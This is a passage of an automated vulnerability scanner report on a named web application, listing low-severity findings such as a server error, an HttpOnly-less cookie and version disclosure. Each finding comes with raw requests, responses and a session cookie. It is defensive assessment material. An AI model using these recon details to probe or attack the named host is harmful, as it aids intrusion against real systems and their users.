Prototype.K; var result = false; this.each(function(value, index) { if (result = !!iterator.call(context, value, index)) throw $break; }); return result; } function collect(iterator, context) { iterator = iterator || Prototype.K; var results = []; this.each(function(value, index) { results.push(iterator.call(context, value, index)); }); return results; } function detect(iterator, context) { var result; this.each(function(value, index) { if (iterator.call(context, value, index)) { result = value; ..
Internal Server Error

Internal Server Error

1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /Reports/ruleChange.jsp

/Reports/ruleChange.jsp CONFIRMED

https://psr.infusionsoft.com/Reports/ruleChange.jsp?process=true&rule=

Request

GET /Reports/ruleChange.jsp?process=true&rule= HTTP/1.1
Referer: https://psr.infusionsoft.com/js/sink_jq.jsp?b=1.22.3.32
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797; autologin=""
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:07:55 GMT
Connection: close




































<html><head> <!-- This TAG MUST COME FIRST, or else IE will ignore it --><meta http-equiv="X-UA-Compatible" content="IE=7.5"/><link rel="shortcut icon" href="/slices/style/favicon.ico" type="image/x-icon"/><!-- Headers to prevent the caching of pages --><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/><meta http-equiv="pragma" content="no-cache"/><meta http-equiv="cache-control" content="no-store"/><!-- Stylesheets --><link rel="stylesheet" href="/css/sink_css.jsp?b=1.22.3.32" type="text/css" media="screen"/><link rel="stylesheet" href="/css/print.css?b=1.22.3.32" type="text/css" media="print"/><!--[if lte IE 6]><link rel="stylesheet" href="/css/lte-ie6.css" type="text/css" media="screen"><![endif]--><!-- Javascript includes --><script type="text/javascript" src="/js/sink_jq.jsp?b=1.22.3.32"></script><script type="text/javascript" src="/js/sink_js.jsp?b=1.22.3.32"></script><script type="text/javascript"> var sessionTimeoutLength = 3600; jQuery(document).ready(function() { Infusion.Widgets.EnhancedSelect.init(); Infusion.Session.listenForTimeout(); });</script> <link rel="stylesheet" href="https://infusionmedia.s3.amazonaws.com/app/login-screen/holiday.css" type="text/css" media="screen"/> <title> Oops! looks like there's a little problem... </title></head><body class="yui-skin-infusion yui-skin-sam loginPage"><div id="content"> <div style="width:350px;"> <noscript>

































<link rel="stylesheet" href="/css/block-notice.css" type="text/css"> <table id="notice" class="block-notice-table block-notice-warning"> <tr> <td id = "noticeIcon" class="block-notice-cell block-notice-cell-warning block-notice-icon"> <img src="/slices/style/warning.png" alt="warning" /> </td> <td id = "noticeText" class="block-notice-cell block-notice-cell-warning block-notice-text"> You must enable Javascript to use Infusionsoft! </td> </tr></table> </noscript> </div> <table height="100%" width="100%" cellspacing="0" border="0" cellpadding="0"> <tr> <td width="100%" height="100%" align="center"> <div class="loginBox"> <table cellspacing="0" id="login-container"> <tr class="login-header"> <td class="left"><span>&nbsp;</span></td> <td class="middle"><span>&nbsp;</span></td> <td class="right"><span>&nbsp;</span></td> </tr> <tr class="login-content"> <td class="left"><span>&nbsp;</span></td> <td class="middle"> <table cellpadding="0" cellspacing="0" width="100%" bgcolor="#FFFFFF"> <tr> <td class="login-label">Oops! looks like there's a little problem...</td> </tr> <tr> <td height="15">&nbsp;</td> </tr> <tr> <td id="descDiv"> Would you like to <a href="javascript:submitError()"><font size="3">submit an anonymous error report</font></a> to Infusionsoft?<br><br>These error reports help us to provide better, more specific error messages and, in some instances, fix bugs. </td> </tr> <tr> <td height="15">&nbsp;</td> </tr> <tr> <td> <table height="100%" width="100%"> <tr> <td align="center"><a href="/">Login</a></td> <td align="center"><a href="http://infusionsoft.com">Visit Our Website</a></td> </tr> </table> </td> </tr> </table> </td> <td class="right"><span>&nbsp;</span></td> </tr> <tr class="login-footer"> <td class="left"><span>&nbsp;</span></td> <td class="middle"><span>&nbsp;</span></td> <td class="right"><span>&nbsp;</span></td> </tr> </table> </div> <img src="/slices/PoweredBy.gif" alt="Infusionsoft"/> </td> </tr> </table></div> <script type="text/javascript"> function submitError() { ajaxFillDiv('descDiv', '/error/include/logError.jsp', "", false) } </script></body></html>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /lostPassword.jsp

/lostPassword.jsp CONFIRMED

https://psr.infusionsoft.com/lostPassword.jsp

Identified Field Name

usernameorpassword

Request

GET /lostPassword.jsp HTTP/1.1
Referer: https://psr.infusionsoft.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:07:42 GMT


<div id="loginPageContent" style="text-align:center;"> <table class="login" width="100%" height="100%" cellspacing="0" border="0" cellpadding="0"> <tr> <td width="100%" height="100%" align="center" valign="top"> <form id="lostpasswordform" method="post" onsubmit="ajaxFillDiv('loginPageContent', '/recoverPassword.jsp?Recover=true&type=null', Form.serialize('lostpasswordform'), true); return false;"> <table width="70%" align="center"> <tr> <td align="center" class="loginFormTable"> <table> <tr> <td class="login-label"> <label for="usernameorpassword">Enter your Username or Email Address</label> </td> </tr> <tr> <td class="login-field-td"> <input id="usernameorpassword" name="usernameorpassword" class="login-field" type="text"/> </td> </tr> <tr> <td colspan="2"> <input id="Recover" name="Recover" value="Next" type="submit" class="default-input button-right np inf-button" /> </td> </tr> </table> </td> </tr> </table> </form> </td> </tr> <tr> <td align="center" class="backToLoginLinkTD"> <table> <tr><td align="right"><a href="#" class="backToLoginLink" onclick="ajaxFillDiv('content', './index.jsp', '', true); return false;">Back to Login Page</a></td></tr> </table> </td> </tr> </table></div>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /login/processLogin.jsp

/login/processLogin.jsp CONFIRMED

https://psr.infusionsoft.com/login/processLogin.jsp

Identified Cookie

autologin

Request

POST /login/processLogin.jsp HTTP/1.1
Referer: https://psr.infusionsoft.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797
Content-Length: 64
Accept-Encoding: gzip, deflate

csrf_token=&Login=Login&password=&savePassword=checked&username=

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Set-Cookie: autologin=""; Expires=Wed, 25-May-2011 01:07:42 GMT; Path=/
Location: https://psr.infusionsoft.com/login/defaultLogin.jsp?problems=Invalid+username+and%2For+password.
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Mon, 25 Apr 2011 01:07:42 GMT


Apache Coyote Version Disclosure

Apache Coyote Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing Apache Coyote version in the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the version identified in the SERVER header. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /sitemap.xml

/sitemap.xml

https://psr.infusionsoft.com/sitemap.xml

Extracted Version

Apache-Coyote/1.1

Request

GET /sitemap.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=UTF-8
Content-Length: 373
Date: Mon, 25 Apr 2011 01:07:41 GMT


<?xml version="1.0" encoding="ISO-8859-1"?><?xml-stylesheet type="text/xsl" href="https://psr.infusionsoft.com/sitemap.xsl"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://psr.infusionsoft.com/cart/store.jsp</loc> <lastmod>2011-04-24</lastmod> <changefreq>monthly</changefreq> <priority>0.5</priority> </url></urlset>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /js/sink_js.jsp

/js/sink_js.jsp

https://psr.infusionsoft.com/js/sink_js.jsp?b=1.22.3.32

Found E-mails

Request

GET /js/sink_js.jsp?b=1.22.3.32 HTTP/1.1
Referer: https://psr.infusionsoft.com/AddForms/processFormSecure.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Mon, 25 Apr 2011 13:07:41 GMT
Content-Type: text/javascript;;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:07:41 GMT




/* FILE: /js/jquery/plugins/urlencode/urlEncode.js */
jQuery.extend({URLEncode:function(c){var o='';var x=0;c=c.toString();var r=/(^[a-zA-Z0-9_.]*)/;
while(x<c.length){var m=r.exec(c.substr(x));
if(m!=null && m.length>1 && m[1]!=''){o+=m[1];x+=m[1].length;
}else{if(c[x]==' ')o+='+';else{var d=c.charCodeAt(x);var h=d.toString(16);
o+='%'+(h.length<2?'0':'')+h.toUpperCase();}x++;}}return o;},
URLDecode:function(s){var o=s;var binVal,t;var r=/(%[^%]{2})/;
while((m=r.exec(o))!=null && m.length>1 && m[1]!=''){b=parseInt(m[1].substr(1),16);
t=String.fromCharCode(b);o=o.replace(m[1],t);}return o;}
});




/* FILE: /js/utils.js */
var globalAnimationSpeed = 300;function object(o) { function F() {}; F.prototype = o; return new F();}/* Extending Date Object with daysInMonth function. Javascript's Date functions lets you overflow the day parameter by * creating a date in the previous month. We can check how far the result overlaps into the next month and figure out * how many days there are in a month */if (Date.prototype.getDaysInMonth == null) { Date.prototype.getDaysInMonth = function() { return 32 - new Date(this.getFullYear(), this.getMonth(), 32).getDate(); };}Infusion('Server');Infusion.Server.secureServerString = "";Infusion.Server.version = "";Infusion.Server.setSecureServerString = function(str) { Infusion.Server.secureServerString = str;};Infusion.Server.setVersion = function(str) { Infusion.Server.version = str;};Infusion('UserAgent');Infusion.UserAgent.isIE7 = (document.all && !window.opera && window.XMLHttpRequest);Infusion.UserAgent.isFF2 = false;if (/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent)) { Infusion.UserAgent.isFF2 = new Number(RegExp.$1) == 2;}/* orderBy accepts three parameters. The target page, the key to order by, and the direction of sort. */function orderBy(key, target, dir) { window.location = target + "?order=" + key + "&dir=" + dir;}/* from main */function handleResponse(msg) { if (msg != '' && msg != 'null' && msg != null) alert(msg);}function go(cat) { var what = document.getElementById("report" + cat); if (what.options.selectedIndex > 0) { window.location = what.options[what.options.selectedIndex].value; }}function show(cat) { var what = document.getElementById("report" + cat); var diver = document.getElementById("report" + cat + "Desc"); var arry = eval("arry" + cat); if (what.options.selectedIndex == 0) { diver.innerHTML = "Please select a report from the drop down above"; } else { diver.innerHTML = arry[what.options.selectedIndex]; }}/* from main */function ResizeOuter(width, height) { currWidth = document.body.clientWidth; currHeight = document.body.clientHeight; endHeight = height - currHeight; endWidth = width - currWidth; window.resizeBy(endWidth, endHeight);}function resize(width, height) { ResizeInner(width, height);}function resizeHeight(height) { currWidth = document.body.clientWidth; currHeight = document.body.clientHeight; currHeight = document.body.clientHeight; endHeight = height - currHeight; endWidth = 0; window.resizeBy(endWidth, endHeight);}function ResizeInner(width, height) { window.innerWidth = width; window.innerHeight = height;}function ResizeAndGo(width, height, url) { ResizeOuter(width, height); location = url;}/* adds ability to register more than one event to window.onload */var onloaders = new Array();function runOnLoads() { for (i = 0; i < onloaders.length; i++) { try { eval(onloaders[i]); } catch(error) { alert(error.message); } }}function addLoader(obj) { onloaders[onloaders.length] = obj;}function doUnload() { return false;}window.onload = runOnLoads;function closeWindow() { if (window.opener) { if (!window.opener.closed) { if (reloadParent) { window.opener.location.reload(); window.opener.focus(); } } } window.close();}function openEmail() { window.open("/Mail/home.jsp", "mail", "toolbars=no,resizable=yes");}function openMyAccount(url) { if (window.opener != null && window.opener.parent.opener != null) { window.opener.parent.opener.location.href = url; window.opener.parent.opener.focus(); } else if (window.opener != null) { window.opener.location.href = url; window.opener.focus(); } else { window.location.href = url; }}function validEmail(email) { return email.match("^([a-zA-Z0-9_\\.-])+@(([a-zA-Z0-9-])+\\.)+([a-zA-Z0-9])+$");}Infusion('ProductOptionValues');Infusion.ProductOptionValues.moveUp = function (optionIndex, Id) { Infusion.ProductOptionValues.move(true, optionIndex, Id)};Infusion.ProductOptionValues.moveDown = function (optionIndex, Id) { Infusion.ProductOptionValues.move(false, optionIndex, Id);};Infusion.ProductOptionValues.move = function (up, optionIndex, Id) { var i = 0; var found = false; var productOptionTable = document.getElementById("ProductOptionTable"); var rowAdjacent; var rowCurrent; var adjacentOptionIndex; var adjacentId; var limitAdjacent; var limitCurrent; var adjacentRowIdx; var currentRowIdx; var funcStrAdjacent = up ? "Down" : "Up"; // We set the following four values based on the var imgStrAdjacent = funcStrAdjacent.toLowerCase(); // direction we move the current row. If we are var funcStrCurrent = up ? "Up" : "Down"; // moving the current row up, then its image var imgStrCurrent = funcStrCurrent.toLowerCase(); // and function strings are "up", while the var titleStrAdjacent = imgStrAdjacent; // image and function strings for the adjacent var titleStrCurrent = imgStrCurrent; // cell is "down". The opposite applies when for // the case where we move the current cell down. while (!found && i < productOptionTable.rows.length) { found = (productOptionTable.rows[i].id == "ProductOption" + optionIndex + "_" + Id); i++; } i--; adjacentRowIdx = up ? (i - 1) : (i + 1); currentRowIdx = i; rowAdjacent = document.getElementById(productOptionTable.rows[adjacentRowIdx].id); rowCurrent = document.getElementById(productOptionTable.rows[currentRowIdx].id); /* * We define the following limits to handle cases where the cells are either at the top of the row, or the * bottom. We need to appropriately set the controls (up and/or down) based on the location of the rows. * The limits seem "backward", but the reason is that we actually swap the contents of the two rows. So * the content of the "adjacent" row is the original content of the "current" row and vice-versa. This * sounds pretty convoluted (and probably is) so it might be better to think of the "adjacent" row as the * "row we are moving the current row to". Consider the case where we are moving the current cell "up". * In that case, the limit we could encounter is where the index of the adjacent row is 1 (topmost row). * Hence, the "adjacent limit" is 1. Looking at the "current limit", we can see that this is the row to * which we moved the contents of our original "adjacent cell". Since this row is effectively moving * "down", the limit for this row would be the index of the last row in the table. */ limitAdjacent = up ? 1 : (productOptionTable.rows.length - 1); limitCurrent = up ? (productOptionTable.rows.length - 1) : 1; Infusion.ProductOptionValues.swapContent(rowAdjacent.cells[0], rowCurrent.cells[0]); Infusion.ProductOptionValues.swapContent(rowAdjacent.cells[1], rowCurrent.cells[1]); Infusion.ProductOptionValues.swapContent(rowAdjacent.cells[2], rowCurrent.cells[2]); Infusion.ProductOptionValues.swapContent(rowAdjacent.cells[3], rowCurrent.cells[3]); /* * Here, we grab the option index and id of the adjacent row. We then update the id of the row to reflect * the swap that we just performed. */ adjacentOptionIndex = rowAdjacent.id.replace(/ProductOption/, "").replace(/_[0-9]+$/, ""); adjacentId = rowAdjacent.id.replace(/ProductOption[0-9]+_/, ""); rowAdjacent.id = rowAdjacent.id.replace(/_[0-9]+/, "_" + Id); rowCurrent.id = rowCurrent.id.replace(/_[0-9]+/, "_" + adjacentId); /* * We need to check for the case where we have only two rows in the table. This if-statement checks for that * condition so that we can set our control appropriately ("down" for the top row and "up" for the bottom). */ if (productOptionTable.rows.length > 3) { if (adjacentRowIdx == limitAdjacent) { rowAdjacent.cells[3].innerHTML = "<a title = \"Move this row " + titleStrAdjacent + "\" href = \"javascript:Infusion.ProductOptionValues.move" + funcStrAdjacent + "(" + adjacentOptionIndex + ", " + Id + ")\"><img border = 0 src=\"../images/" + imgStrAdjacent + "arrow.png\" alt=\"" + imgStrAdjacent + " arrow\" /></a>"; rowCurrent.cells[3].innerHTML = "<a title = \"Move this row up\" href = \"javascript:Infusion.ProductOptionValues.moveUp(" + optionIndex + ", " + adjacentId + ")\"><img border = 0 src=\"../images/uparrow.png\" alt=\"up arrow\" /></a>&nbsp;<a title = \"Move this row down\" href = \"javascript:Infusion.ProductOptionValues.moveDown(" + optionIndex + ", " + adjacentId + ")\"><img border = 0 src=\"../images/downarrow.png\" alt=\"down arrow\" /></a>"; } else if (currentRowIdx == limitCurrent) { rowAdjacent.cells[3].innerHTML = "<a title = \"Move this row up\" href = \"javascript:Infusion.ProductOptionValues.moveUp(" + adjacentOptionIndex + ", " + Id + ")\"><img border = 0 src=\"../images/uparrow.png\" alt=\"up arrow\" /></a>&nbsp;<a title = \"Move this row down\" href = \"javascript:Infusion.ProductOptionValues.moveDown(" + adjacentOptionIndex + ", " + Id + ")\"><img border = 0 src=\"../images/downarrow.png\" alt=\"down arrow\" /></a>"; rowCurrent.cells[3].innerHTML = "<a title = \"Move this row " + titleStrCurrent + "\" href = \"javascript:Infusion.ProductOptionValues.move" + funcStrCurrent + "(" + optionIndex + ", " + adjacentId + ")\"><img border = 0 src=\"../images/" + imgStrCurrent + "arrow.png\" alt=\"" + imgStrCurrent + " arrow\" /></a>"; } else { rowAdjacent.cells[3].innerHTML = rowAdjacent.cells[3].innerHTML.replace(/\([0-9]+/g, "(" + adjacentOptionIndex); rowCurrent.cells[3].innerHTML = rowCurrent.cells[3].innerHTML.replace(/\([0-9]+/g, "(" + optionIndex); } } else { rowAdjacent.cells[3].innerHTML = "<a href = \"javascript:Infusion.ProductOptionValues.move" + funcStrAdjacent + "(" + adjacentOptionIndex + ", " + Id + ")\"><img border = 0 src=\"../images/" + imgStrAdjacent + "arrow.png\" alt=\"" + imgStrAdjacent + " arrow\" /></a>"; rowCurrent.cells[3].innerHTML = "<a href = \"javascript:Infusion.ProductOptionValues.move" + funcStrCurrent + "(" + optionIndex + ", " + adjacentId + ")\"><img border = 0 src=\"../images/" + imgStrCurrent + "arrow.png\" alt=\"" + imgStrCurrent + " arrow\" /></a>"; } Infusion.ProductOptionValues.updateOptions(optionIndex, adjacentId, adjacentOptionIndex, Id);};Infusion.ProductOptionValues.swapContent = function (obj1, obj2) { var temp; temp = obj1.innerHTML; obj1.innerHTML = obj2.innerHTML; obj2.innerHTML = temp;};Infusion.ProductOptionValues.updateOptions = function (optionIndex1, Id1, optionIndex2, Id2) { var url = "/Product/processProductOptions.jsp"; var post = "type=value&view=edit&prodOptValId1=" + Id1 + "&prodOptValIdx1=" + optionIndex1 + "&prodOptValId2=" + Id2 + "&prodOptValIdx2=" + optionIndex2 + "&prodOptId=" + document.getElementById("ProductOptionDb0Id").value; ajax(url, post, false);};Infusion('Utils');Infusion.Utils.getBase = function() { var base; if (window.parent) { base = window.parent; } else if (window.opener) { base = window.opener; } else { base = window; } return base;};Infusion.Utils.evalScripts = function(scriptString) { var newScript = document.createElement('script'); newScript.type = "text/javascript"; newScript.className = "dynamicScript"; if (YAHOO.util.Event.isIE) { newScript.text = scriptString; } else { var s = document.createTextNode(scriptString); newScript.appendChild(s); } document.getElementsByTagName('body')[0].appendChild(newScript);};Infusion.Utils.getInputFieldByIdOrName = function(idOrName) { return jQuery("input#" + idOrName).get(0) || jQuery("input[name='" + idOrName + "']").get(0);};Infusion.Utils.waitToUpdate = function(value, fieldId, counter, maxRetry) { counter = counter || 1; maxRetry = maxRetry || 25; var field = jQuery('#' + fieldId); if ((field.val() != value) && (counter <= maxRetry)) { field.val(value); setTimeout('Infusion.Utils.waitToUpdate("' + value + '", "' + fieldId + '", ' + (counter++) + ', ' + maxRetry + ')', 500); }};Infusion.Utils.crossDomainAjax = function(url, post, callbackName) { var head = document.getElementsByTagName("head")[0]; var script = document.getElementById("crossDomainAjaxScript"); if (script) { head.removeChild(script); } script = document.createElement("script"); script.id = "crossDomainAjaxScript"; script.type = "text/javascript"; script.src = url + "?" + post + "&callBack=" + callbackName; head.appendChild(script);};// Name: Get CSS Property// Language: JavaScript// Author: Travis Beckham | squidfingers.com// Description: Retrieve a CSS property from inline and external sources// Compatibility: IE4+, NS6+, Safari 1.3+ ( Opera 8+ tested ok so far, comment by windgazer.nl)// --------------------------------------------------// From: http://squidfingers.com/code/snippets/?id=getcsspropInfusion.Utils.getCSSProp = function(element, prop) { if (element.style[prop]) { // inline style property return element.style[prop]; } else if (element.currentStyle) { // external stylesheet for Explorer return element.currentStyle[prop]; } else if (document.defaultView && document.defaultView.getComputedStyle) { // external stylesheet for Mozilla and Safari 1.3+ prop = prop.replace(/([A-Z])/g, "-$1"); prop = prop.toLowerCase(); return document.defaultView.getComputedStyle(element, "").getPropertyValue(prop); } else { // Safari 1.2 return null; }};/* Extremely useful findPosX and findPosY for statically positioned elements from http://blog.firetree.net/2005/07/04/javascript-find-position/ I've renamed them to findTop and findLeft to conform to CSS. I've also added findBottom and findRight. */Infusion.Utils.findLeft = function findLeft(obj) { var curleft = 0; if (obj.offsetParent) while (1) { curleft += obj.offsetLeft; if (!obj.offsetParent) break; obj = obj.offsetParent; } else if (obj.x) curleft += obj.x; return curleft; obj.offset;};Infusion.Utils.findTop = function findTop(obj) { var curtop = 0; if (obj.offsetParent) while (1) { curtop += obj.offsetTop; if (!obj.offsetParent) break; obj = obj.offsetParent; } else if (obj.y) curtop += obj.y; return curtop;};Infusion.Utils.findRight = function findRight(obj) { return document.body.offsetWidth - Infusion.Utils.findLeft(obj) - obj.offsetWidth;};Infusion.Utils.findBottom = function findBottom(obj) { var curbottom = 0; if (obj.offsetParent) while (1) { curbottom += obj.offsetBottom; if (!obj.offsetParent) break; obj = obj.offsetParent; } else if (obj.y) curbottom += obj.y; return curbottom;};/* Removes units from CSS attributes and returns values as float */Infusion.Utils.parseAttribute = function(attr) { attr = (attr == null || undefined) ? "0" : attr; //hack for IE return parseFloat(attr.replace(/em|ex|px|in|cm|mm|pt|pc|%/));};Infusion.Utils.toAMPM = function(hour, minutes) { var time = ""; minutes = (minutes == 0) ? "00" : minutes; if (hour >= 12) { if (hour > 12) { hour -= 12; } time = hour + ":" + minutes + " pm"; } else { if (hour == 0) { hour = 12; } time = hour + ":" + minutes + " am"; } return time;};Infusion.Utils.getTotalWidth = function(obj) { var Utils = Infusion.Utils; return (Utils.parseAttribute(Utils.getCSSProp(obj, "margin-left")) + Utils.parseAttribute(Utils.getCSSProp(obj, "padding-left")) + Utils.parseAttribute(Utils.getCSSProp(obj, "border-left-width")) + Utils.parseAttribute(Utils.getCSSProp(obj, "width")) + Utils.parseAttribute(Utils.getCSSProp(obj, "margin-right")) + Utils.parseAttribute(Utils.getCSSProp(obj, "padding-right")) + Utils.parseAttribute(Utils.getCSSProp(obj, "border-right-width")));};Infusion.Utils.getTotalHeight = function(obj) { var Utils = Infusion.Utils; return (Utils.parseAttribute(Utils.getCSSProp(obj, "margin-top")) + Utils.parseAttribute(Utils.getCSSProp(obj, "padding-top")) + Utils.parseAttribute(Utils.getCSSProp(obj, "border-top-width")) + Utils.parseAttribute(Utils.getCSSProp(obj, "height")) + Utils.parseAttribute(Utils.getCSSProp(obj, "margin-bottom")) + Utils.parseAttribute(Utils.getCSSProp(obj, "padding-bottom")) + Utils.parseAttribute(Utils.getCSSProp(obj, "border-bottom-width")));};Infusion.Utils.fixApostrophes = function(numParams) {..
Sitemap Identified

Sitemap Identified

1 TOTAL
INFORMATION
Netsparker identified Sitemap file on the target web site. This issue is reported as extra information.

Impact

This issue is reported as extra information, there is no direct impact resulting from this.
- /sitemap.xml

/sitemap.xml

https://psr.infusionsoft.com/sitemap.xml

Request

GET /sitemap.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=UTF-8
Content-Length: 373
Date: Mon, 25 Apr 2011 01:07:41 GMT


<?xml version="1.0" encoding="ISO-8859-1"?><?xml-stylesheet type="text/xsl" href="https://psr.infusionsoft.com/sitemap.xsl"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://psr.infusionsoft.com/cart/store.jsp</loc> <lastmod>2011-04-24</lastmod> <changefreq>monthly</changefreq> <priority>0.5</priority> </url></urlset>